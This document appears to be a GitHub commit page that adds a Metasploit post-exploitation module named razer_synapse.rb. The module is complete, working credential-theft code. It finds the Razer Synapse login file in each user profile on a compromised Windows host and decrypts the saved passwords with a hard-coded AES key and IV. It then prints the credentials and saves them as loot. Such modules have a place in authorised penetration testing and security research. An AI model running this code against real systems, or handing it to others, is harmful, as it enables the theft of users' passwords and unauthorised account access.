Skip to content

Commit b2cd65e

Browse files
adding razer_synapse.rb
1 parent 9909579 commit b2cd65e

File tree

1 file changed

+119
-0
lines changed

1 file changed

+119
-0
lines changed
Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/windows/user_profiles'
12+
require 'openssl'
13+
14+
class Metasploit3 < Msf::Post
15+
16+
include Msf::Post::Common
17+
include Msf::Post::Windows::UserProfiles
18+
19+
def initialize(info={})
20+
super(update_info(info,
21+
'Name' => 'Razer Synapse Password Extraction',
22+
'Description' => %q{
23+
This module will enumerate passwords stored by the Razer Synapse
24+
client. The encryption key and iv is publicly known. This module
25+
will not only extract encrypted password but will also decrypt
26+
password using public key. Affects version 1.7.15 and earlier.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' =>
30+
[
31+
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
32+
'Matt Howard "pasv" <themdhoward[at]gmail.com>', #PoC
33+
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
34+
],
35+
'SessionTypes' => [ 'meterpreter' ],
36+
'Platform' => [ 'win' ],
37+
38+
))
39+
end
40+
41+
# decrypt password
42+
def decrypt(hash)
43+
cipher = OpenSSL::Cipher::Cipher.new 'aes-256-cbc'
44+
cipher.decrypt
45+
cipher.key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
46+
cipher.iv = "ryojvlzmdalyglrj"
47+
48+
hash.each_pair { |user,pass|
49+
pass = pass.unpack("m")[0]
50+
51+
password = cipher.update pass
52+
password << cipher.final rescue return nil
53+
54+
store_creds(user, password.split("||")[1])
55+
print_good("Found credentials")
56+
print_good("\tUser: #{user}")
57+
print_good("\tPassword: #{password.split("||")[1]}")
58+
}
59+
end
60+
61+
def store_creds(user, pass)
62+
if db
63+
report_auth_info(
64+
:host => client.sock.peerhost,
65+
:port => 443,
66+
:ptype => 'password',
67+
:sname => 'razer_synapse',
68+
:user => user,
69+
:pass => pass,
70+
:duplicate_ok => true,
71+
:active => true
72+
)
73+
vprint_status("Loot stored in the db")
74+
end
75+
end
76+
77+
# Loop throuhg config, grab user and pass
78+
def parse_config(config)
79+
if not config =~ /<Version>\d<\/Version>/
80+
creds = {}
81+
cred_group = config.split("</SavedCredentials>")
82+
cred_group.each { |cred|
83+
user = /<Username>([^<]+)<\/Username>/.match(cred)
84+
pass = /<Password>([^<]+)<\/Password>/.match(cred)
85+
if user and pass
86+
creds[user[1]] = pass[1]
87+
end
88+
}
89+
return creds
90+
else
91+
print_error("Module only works against configs from version < 1.7.15")
92+
return nil
93+
end
94+
end
95+
96+
# main control method
97+
def run
98+
grab_user_profiles().each do |user|
99+
if user['LocalAppData']
100+
accounts = user['LocalAppData'] + "\\Razer\\Synapse\\Accounts\\RazerLoginData.xml"
101+
# open the file for reading
102+
config = client.fs.file.new(accounts, 'r') rescue nil
103+
next if config.nil?
104+
print_status("Config found for user #{user['UserName']}")
105+
106+
contents = config.read
107+
config.close
108+
109+
# read the contents of file
110+
creds = parse_config(contents)
111+
if creds
112+
decrypt(creds)
113+
else
114+
print_error("Could not read config or empty for #{user['UserName']}")
115+
end
116+
end
117+
end
118+
end
119+
end

0 commit comments

Comments
 (0)